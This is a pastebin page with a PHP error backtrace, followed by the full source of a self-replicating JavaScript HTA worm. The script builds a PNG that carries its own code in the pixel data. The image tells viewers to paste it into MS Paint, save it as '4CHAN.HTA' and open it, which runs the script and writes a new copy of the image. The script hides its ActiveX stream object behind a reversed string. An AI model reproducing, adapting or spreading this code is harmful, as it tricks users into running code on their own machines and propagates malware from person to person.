Severity: 8192
Message: Function create_function() is deprecated
Filename: geshi/geshi.php
Line Number: 4698
Backtrace:
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 693
Function: getPaste
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once
<script id=thisscript>
var settings = {};
settings.top = 0.03845352397352837;
settings.bottom = 0.07524049811272389;
settings.left = 0.022873570904446697;
settings.right = 0.04485581580192202;
settings.pt = [15,0,5,0,13,10,0];
settings.xc = [31,0,0,0,77,111,0];
settings.fg = [190,253,122];
settings.bg = [186,38,164];
settings.line1 = unescape("I LOVEY OU ANONYMOUS.");
settings.name = unescape("4CHAN");
settings.wordchoice = [50,39,19,23,57,46,44,49,2,47,44,59,45,4,34,9,8,46];
settings.savechoice = [49,36];
settings.splitpoint = 0.9;
// Precompute CRC table
var crc_table = [];
for (var n = 0; n < 256; n++) {
var c = n;
for (var k = 0; k < 8; k++) {
if (c & 1) {
c = 0xedb88320 ^ (c >>> 1);
} else {
c = c >>> 1;
}
}
crc_table[n] = c;
}
function TextPic() {
var self = this;
// Edge array
var edges = [];
var vcurr = [];
// Cursor position, font size, image boundaries
this.xc = 0;
this.yc = 0;
this.pt = 50;
this.xmin = 0;
this.xmax = 0;
// Draw edge
function e(x1, x2, y1, y2, curved, v, y1r, y2r) {
if (typeof y1r == "undefined") y1r = y1;
if (typeof y2r == "undefined") y2r = y2;
x1 /= 10; x2 /= 10; y1 /= 10; y2 /= 10; y1r /= 10; y2r /= 10;
var yy1 = Math.max(Math.ceil(self.yc + y1r*self.pt), 0);
var yy2 = Math.min(Math.floor(self.yc + y2r*self.pt), edges.length - 1);
for (var y = yy1; y <= yy2; y++) {
var ys = ((y-self.yc)/self.pt - y1) / (y2 - y1);
var x;
if (curved) {
var dy = 2 * ys - 1;
x = x1 + (x2 - x1) * Math.sqrt(Math.max(1 - dy*dy, 0));
} else {
x = x1 + (x2 - x1) * ys;
}
var xx = Math.ceil(self.xc + x*self.pt);
while (edges[y].length && edges[y][edges[y].length-1] >= xx) {
edges[y].pop();
vcurr[y] = 1 - vcurr[y];
}
if (v != vcurr[y]) edges[y].push(xx);
vcurr[y] = v;
}
}
// Draws other half of character using symmetry
function mirror(params, width, inv) {
for (var i = 0; i < params.length; i++) {
var p = params[i];
e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
}
for (var i = params.length - 1; i >= 0; i--) {
var p = params[i];
if (inv) {
var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
if (p[4]) {
e(width-p[0],width-p[1],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
} else {
e(width-p[1],width-p[0],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
}
} else {
e(width-p[0],width-p[1],p[2],p[3],p[4],1-p[5],p[6],p[7]);
}
}
}
function mirrorvert(params) {
for (var i = 0; i < params.length; i++) {
var p = params[i];
e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
if (p[4]) {
e(p[0],p[1],10-p[3],10-p[2],p[4],p[5],np7,np6);
} else {
e(p[1],p[0],10-p[3],10-p[2],p[4],p[5],np7,np6);
}
}
}
// Character widths
var cwidth = {"A":1,"B":1,"C":.95,"D":1.05,"E":1,"F":.85,"G":1.15,"H":1,"I":.4,"J":.85,"K":1.05,"L":.85,"M":1.2,"N":1.1,"O":1.1,"P":.95,"Q":1.1,"R":.95,"S":.9,"T":.9,"U":1,"V":1,"W":1.7,"X":.95,"Y":.9,"Z":.9,"1":.4,"2":.85,"3":.9,"4":.95,".":.3,"?":.75,"!":.4,":":.4,"-":.7,"+":.7,"'":.3,"$":.9,"/":.6," ":.5};
// Draw centered line of text
this.drawline = function(s) {
while (Math.floor(self.yc + 1.6*self.pt) >= edges.length) {
edges.push([]);
vcurr.push(0);
}
var xc0 = self.xc;
self.yc += .3*self.pt;
for (var i = 0; i < s.length; i++) {
var c = s.charAt(i);
if (c in cwidth) {
self.xc -= cwidth[c]*self.pt/2;
}
}
if (Math.ceil(self.xc) < self.xmin) self.xmin = Math.ceil(self.xc);
for (var i = 0; i < s.length; i++) {
var c = s.charAt(i);
var xc1 = self.xc;
if ("ACGJOQTVWXYZ4.?-'/".indexOf(c) != -1) {
self.xc += .05*self.pt;
} else {
self.xc += .1*self.pt;
}
switch(c) {
case "A": mirror([[3,0,0,10,0,1],[2.9,2,7,10,0,0],[4.4,3.5,2,5,0,0]],9,0);break;
case "B": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0],[5,6,2,4,1,1],[5,8,0,6,1,0,0,5]]);break;
case "C": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(8,8,0,10,0,0);break;
case "D": e(0,0,0,10,0,1);e(2,2,2,8,0,0);e(4,7,2,8,1,1);e(4,9,0,10,1,0);break;
case "E": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0]]);e(8,8,0,10,0,0);break;
case "F": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(7,7,0,6,0,0);break;
case "G": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(6,6,4,6,0,1);e(8,8,6,8,0,1);e(10,10,0,10,0,0);break;
case "H": mirror([[0,0,0,10,0,1],[2,2,0,4,0,0],[2,2,6,10,0,0]],8,0);break;
case "I": case "1": mirror([[0,0,0,10,0,1]],2,0);break;
case "J": mirror([[3.5,0,3,10,1,1,6.5,10],[3.5,2,5,8,1,0,6.5,8]],7,0);e(5,5,0,6.5,0,1);e(7,7,0,6.5,0,0);break;
case "K": e(0,0,0,10,0,1);mirrorvert([[2,2,0,4,0,0],[6,2,0,4,0,1],[9,4,0,5,0,0]]);break;
case "L": e(0,0,0,10,0,1);e(2,2,0,8,0,0);e(7,7,8,10,0,0);break;
case "M": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,4,2,6,0,1],[3,5,0,4,0,0]],10,0);break;
case "N": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,6,2,10,0,1]],9,1);break;
case "O": mirror([[5,0,0,10,1,1],[5,2,2,8,1,0]],10,0);break;
case "P": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);break;
case "Q": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(5,8,2,8,1,1,7,8);e(6,5,5,6,0,1);e(5,7,6,8,0,1);e(6,9,5,8,0,0);
e(5,8,2,8,1,1);e(5,10,0,10,1,0);e(7,9,8,10,0,1);e(9,10,8,9,0,0);e(10,9,9,10,0,0);break;
case "R": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);e(2,5,6,10,0,1);e(5,8,6,10,0,0);break;
case "S": mirror([[3,0,0,6,1,1],[0,0,8,10,0,1],[4,5,6,8,1,1]],7,1);break;
case "T": mirror([[0,0,0,2,0,1],[3,3,2,10,0,1]],8,0);break;
case "U": mirror([[3.5,0,3,10,1,1,6.5,10],[0,0,0,6.5,0,1],[3.5,2,5,8,1,0,6.5,8],[2,2,0,6.5,0,0]],8,0);break;
case "V": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0]],9,0);break;
case "W": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0],[7,4.6,0,8,0,1],[8.1,6,3,10,0,0]],16,0);break;
case "X": mirror([[0,3,0,5,0,1],[3,0,5,10,0,1],[2.5,4.25,0,3.5,0,0],[4.25,2.5,6.5,10,0,0]],8.5,0);break;
case "Y": mirror([[0,3,0,6,0,1],[3,3,6,10,0,1],[2,4,0,4,0,0]],8,0);break;
case "Z": mirror([[0,0,0,2,0,1],[5,0,2,8,0,1],[0,0,8,10,0,1]],8,1);break;
case "2": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1,2,4);e(4.25,0,4,8,0,1);e(0,0,8,10,0,1);
e(3.25,6.5,0,6.5,1,0,0,5.2);e(5.85,2.875,5.2,8,0,0);e(6.5,6.5,8,10,0,0);break;
case "3": e(0,0,4,6,0,1);mirrorvert([[0,0,0,2,0,1],[4,5,2,4,1,1],[4,7,0,6,1,0,0,5]]);break;
case "4": e(1.5,0,0,6,0,1);e(3.5,2.5,0,4,0,0);e(6,6,0,10,0,1);e(8,8,0,10,0,0);break;
case ".": mirror([[1,0,8,10,1,1]],2,0);break;
case "?": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1);e(2.25,2.25,4.5,7.5,0,1);
e(4.25,6.5,0,6.5,1,0);e(4.25,4.25,6.5,7.5,0,0);mirror([[3.25,2.25,8,10,1,1]],6.5,0);break;
case "!": mirror([[0,0,0,7,0,1],[1,0,8,10,1,1]],2,0);break;
case ":": mirror([[1,0,1,3,1,1],[1,0,7,9,1,1]],2,0);break;
case "-": mirror([[0,0,4,6,0,1]],6,0);break;
case "-": mirror([[0,0,4,6,0,1],[2,2,2,4,0,1],[2,2,6,8,0,1]],6,0);break;
case "'": mirror([[0,0,0,3.5,0,1]],2,0);break;
case "$": mirror([[2.5,0,1,6,1,1],[0,0,7,9,0,1],[2.75,2.75,0,1,0,1],[4.25,4.25,0,1,0,0],[2.75,2.75,6,7,0,1],[4.25,4.25,6,7,0,0],[4.5,5,6,7,1,1]],7,1);break;
case "/": mirror([[3,0,0,10,0,1]],5,1);break;
}
self.xc = xc1;
if (c in cwidth) {
self.xc += cwidth[c]*self.pt;
}
}
if (Math.ceil(self.xc) > self.xmax) self.xmax = Math.ceil(self.xc);
self.yc += 1.3*self.pt;
self.xc = xc0;
}
// Output picture in array of run-length encoded lines (arrays of [[r,g,b], count])
this.getRLE = function(fg, bg) {
var rle = [];
for (var y = 0; y < edges.length; y++) {
rle[y] = [];
var v = 0;
var x = self.xmin;
for (var i = 0; i < edges[y].length; i++) {
rle[y].push([v ? fg : bg, edges[y][i] - x]);
v = 1 - v;
x = edges[y][i];
}
if (x < self.xmax) rle[y].push([v ? fg : bg, self.xmax - x]);
}
return rle;
}
}
function PNGEncoder(w, h) {
var crc = 0;
var stringbuf = "";
var bytebuf = 0;
var bytelen = 0;
// Append one byte to stream
function writebyte(b) {
if (bytelen % 2 == 1) {
stringbuf += String.fromCharCode((b<<8) + bytebuf);
} else {
bytebuf = b;
}
bytelen++;
crc = crc_table[(crc ^ b) & 0xff] ^ (crc >>> 8);
}
function writebytes(arr) {
for (var i = 0; i < arr.length; i++) {
writebyte(arr[i]);
}
}
// Add integer in big-endian order to stream
function writeint(n, bits) {
for (var i = bits - 1; i >= 0; i--) {
writebyte((n>>>(8*i)) & 0xff);
}
}
// Add bits to stream (little-endian order)
var bitbuf = 0;
var bitlen = 0;
function writebits(b, nbits) {
bitbuf = bitbuf | (b << bitlen);
bitlen += nbits;
while (bitlen >= 8) {
writebyte(bitbuf & 0xff);
bitbuf = bitbuf >>> 8;
bitlen -= 8;
}
}
function flushbits() {
if (bitlen > 0) {
writebyte(bitbuf);
bitbuf = bitlen = 0;
}
}
// Reverse bits
function rev(x, n) {
var y = 0;
for (var i = 0; i < n; i++) {
y <<= 1;
if (x & 1) y |= 1;
x >>>= 1;
}
return y;
}
function getvalue() {
getvalue.x += (Math.sqrt(5) - 1)/2;
if (getvalue.x > 1) getvalue.x -= 1;
return getvalue.x;
}
getvalue.x = 0;
// Create Huffman code
function randlens(ncodes, maxlen) {
var lens = [[0, getvalue()]];
for (var i = 1; i < ncodes; i++) {
do {
j = Math.floor(lens.length * getvalue());
} while (lens[j][0] == maxlen);
lens[j][0]++;
lens[i] = [lens[j][0], getvalue()];
}
lens.sort(function(x, y) {return x[1] - y[1];});
var lens2 = [];
for (var i = 0; i < ncodes; i++) {
lens2[i] = lens[i][0];
}
return lens2;
}
// Create Huffman codes from table of Huffman code lengths
function getcodes(lens, maxlen) {
var codes = [];
var code = 0;
for (var len = 1; len <= maxlen; len++) {
for (var i = 0; i < lens.length; i++) {
if (lens[i] == len) {
codes[i] = rev(code, len);
code += 1;
}
}
code <<= 1;
}
return codes;
}
// Tables of Huffman codes
var lbits = randlens(286, 15);
var dbits = randlens(30, 15);
var hbits = randlens(19, 7);
var lcode = getcodes(lbits, 15); // literals + lengths
var dcode = getcodes(dbits, 15); // distances
var hcode = getcodes(hbits, 7); // huffman code lengths
// Write length code
function writelength(len) {
if (len == 258) {
writebits(lcode[285], lbits[285]);
} else {
var n;
for (n = 7; n > 0; n--) {
if ((len - 3) & (1 << (n+2))) break;
}
var val = ((len-3)>>>n) & 3;
val += 261 + 4*n;
if (len <= 6) val -= 4;
writebits(lcode[val], lbits[val]);
var eb = (len-3) & ((1<<n) - 1);
writebits(eb, n);
}
}
// Write distance code
function writedist(dist) {
var n;
for (n = 13; n > 0; n--) {
if ((dist - 1) & (1 << (n+1))) break;
}
var val = ((dist-1)>>>n) & 1;
val += 2 + 2*n;
if (dist <= 2) val -= 2;
writebits(dcode[val], dbits[val]);
var eb = (dist-1) & ((1<<n) - 1);
writebits(eb, n);
}
// Write header
writebytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D]);
crc = -1;
writebytes([0x49,0x48,0x44,0x52]);
writeint(w, 4);
writeint(h, 4);
writebytes([0x08,0x02,0x00,0x00,0x00]);
writeint(crc ^ -1, 4);
// Begin data segment
var datalenpos = bytelen;
writeint(0, 4);
crc = -1;
writebytes([0x49,0x44,0x41,0x54]);
var datastart = bytelen;
writebytes([0x78,0x5E]);
writebits(5, 3); // last block, dynamic Huffman codes
// Write Huffman tables
writebits(lbits.length - 257, 5);
writebits(dbits.length - 1, 5);
writebits(hbits.length - 4, 4);
var order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15];
for (var i = 0; i < order.length; i++) {
writebits(hbits[order[i]], 3);
}
for (var i = 0; i < lbits.length; i++) {
writebits(hcode[lbits[i]], hbits[lbits[i]]);
}
for (var i = 0; i < dbits.length; i++) {
writebits(hcode[dbits[i]], hbits[dbits[i]]);
}
// Adler checksums
var s1 = 1;
var s2 = 0;
function addrun(col, n) {
s2 = (s2 + s1*3*n + col[0]*(3*n+3)*n/2 + col[1]*(3*n+1)*n/2 + col[2]*(3*n-1)*n/2) % 65521;
s1 = (s1 + (col[0]+col[1]+col[2])*n) % 65521;
if (n >= 1) {
for (var j = 0; j < 3; j++) writebits(lcode[col[j]], lbits[col[j]]);
n -= 1;
}
while (n > 0) {
var nn = Math.min(n, 86);
writelength(3*nn);
writedist(3);
n -= nn;
}
}
// Add run-length encoded scanline (array of [[r,g,b], count])
this.addRLE = function(rle) {
writebits(lcode[0], lbits[0]);
s2 = (s2 + s1) % 65521;
for (var i = 0; i < rle.length; i++) {
addrun(rle[i][0], rle[i][1]);
}
}
// Decode string containing pixels in BGR order, add scanline to image
this.addBGR = function(s, charwidth, padcolor) {
writebits(lcode[0], lbits[0]);
s2 = (s2 + s1) % 65521;
var col = [0, 0, 0];
var ch = 2;
var x = 0;
for (var i = 0; i < s.length; i++) {
var word = s.charCodeAt(i);
for (var j = 0; j < charwidth; j++) {
col[ch--] = word & 0xff;
if (ch < 0) {
addrun(col, 1);
ch = 2;
x++;
}
word >>>= 8;
}
}
if (ch != 2) {
addrun(col, 1);
x++;
}
if (x < w) {
addrun(padcolor, w - x);
}
}
// Finish PNG and write to stream
this.writeto = function(stream) {
// End of block
writebits(lcode[256], lbits[256]);
flushbits();
// Checksums
writeint(s2, 2);
writeint(s1, 2);
var datalen = bytelen - datastart;
writeint(crc ^ -1, 4);
// End of file block
writebytes([0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]);
// Write data to stream
var pos1 = stream.position;
if (pos1 == 0) pos1 = 2;
stream.writeText(stringbuf);
if (bytelen % 2 == 1) {
stream.writeText(String.fromCharCode(bytebuf));
stream.position -= 1;
stream.setEOS();
}
var pos2 = stream.position;
// Go back and write in length of data segment
stream.position = pos1 + datalenpos;
function revword(w) {
return String.fromCharCode(((w & 0xff) << 8) | (w >>> 8));
}
stream.writeText(revword(datalen >>> 16));
stream.writeText(revword(datalen & 0xffff));
stream.position = pos2;
}
}
function textstream(mode) {
var stream = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
stream.mode = mode;
stream.type = 2; //text
stream.open();
return stream;
}
// Copy text stream to binary stream, removing Unicode garbage at beginning
function tobinary(stream) {
var stream2 = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
stream2.mode = 3;
stream2.type = 1; //binary
stream2.open();
stream.position = 2;
stream.copyTo(stream2);
stream.close();
stream2.position = 0;
return stream2;
}
// Get a copy of this script
var scripttext = thisscript.innerHTML;
scripttext = scripttext.replace(/\s*/, "").replace(/^\/\*+\//g, "");
scripttext = "\r\n<scr"+"ipt id=thisscript>\r\n" + scripttext + "\r\n</scr"+"ipt>\r\n<script>/*\r\n";
// Choose words
var lines = [];
var wc = settings.wordchoice;
lines[0] = settings.line1;
lines[1] = ["OPEN", "CLICK", "TAKE", "VIEW", "START WITH"][wc[0]%5] + " " + [["THIS", "THE"][wc[1]%2] + " " + ["IMAGE", "PIC", "PICTURE", "FILE"][wc[2]%4], "ME"][wc[3]%2];
if (wc[4]%2) lines[1] = "";
lines[2] = ["COPY", "COPY+PASTE", "PASTE"][wc[5]%3] + [" ", " IT ", " ME ", " THIS "][wc[6]%4] + "TO " + ["PAINT", "MSPAINT"][wc[7]%2];
lines[3] = "SAVE" + [" ", " IT ", " THE FILE ", " ME "][wc[8]%4] + "AS" + [":", ""][wc[9]%2];
lines[4] = ["FILE NAME: ", "NAME: ", ""][wc[10]%3] + settings.name + ".HTA";
lines[5] = ["SAVE AS TYPE: ", "TYPE: ", ""][wc[11]%3] + ["24-BIT BITMAP", "24 BITS", "BITMAP"][wc[12]%3];
if (wc[13]%2) lines[5] = "";
lines[6] = ["", "THEN ", "AND "][wc[14]%3] + "OPEN" + ["", " IT", " THE FILE", " IT AGAIN"][wc[15]%4];
lines[6] = ["", lines[6], lines[6] + " AND SHIT BRICKS", "SHIT BRICKS"][wc[16]%4];
if (wc[17]%2) {
var num = 1;
for (var i = 1; i <= 6; i++) {
if (i != 4 && i != 5 && lines[i] != "") {
lines[i] = num + ". " + lines[i];
num++;
}
}
}
// Draw text
var instr = new TextPic();
instr.yc = settings.top;
for (var i = 0; i < lines.length; i++) {
if (lines[i] != "") {
instr.pt = settings.pt[i];
instr.xc = settings.xc[i];
instr.drawline(lines[i]);
}
}
instr.xmin -= Math.round(settings.left * (instr.xmax - instr.xmin));
instr.xmax += Math.round(settings.right * (instr.xmax - instr.xmin));
instr.xmax += 3 - (instr.xmax - instr.xmin + 3) % 4; // make width multiple of 4 pixels
var rle = instr.getRLE(settings.fg, settings.bg);
var w = instr.xmax - instr.xmin;
var tmargin = Math.round(settings.top * rle.length);
var bmargin = Math.round(settings.bottom * rle.length);
for (var i = 0; i < tmargin; i++) rle.splice(0, 0, [[settings.bg, w]]);
for (var i = 0; i < bmargin; i++) rle.push([[settings.bg, w]]);
var h = rle.length;
// Find place to split image
var blanks = 0;
for (var y = 0; y < h; y++) {
if (rle[y].length == 1) blanks++;
}
var iblank = Math.floor(settings.splitpoint*blanks);
var ysplit;
for (var ysplit = 0; ysplit < h; ysplit++) {
if (rle[ysplit].length == 1) {
if (iblank <= 0) break;
iblank--;
}
}
// Encode PNG image
var nlines = Math.ceil(scripttext.length / 3 / w);
var png = new PNGEncoder(w, h + nlines - 1);
for (var y = 0; y < ysplit; y++) {
png.addRLE(rle[y]);
}
for (var i = nlines - 1; i >= 0; i--) {
png.addBGR(scripttext.substr(i*3*w, 3*w), 1, settings.bg);
}
for (var y = ysplit + 1; y < h; y++) {
png.addRLE(rle[y]);
}
// Write file
var stream = textstream(3 /*rw*/);
png.writeto(stream);
stream = tobinary(stream);
stream.saveToFile("banner.png");
close();
</script>
<script>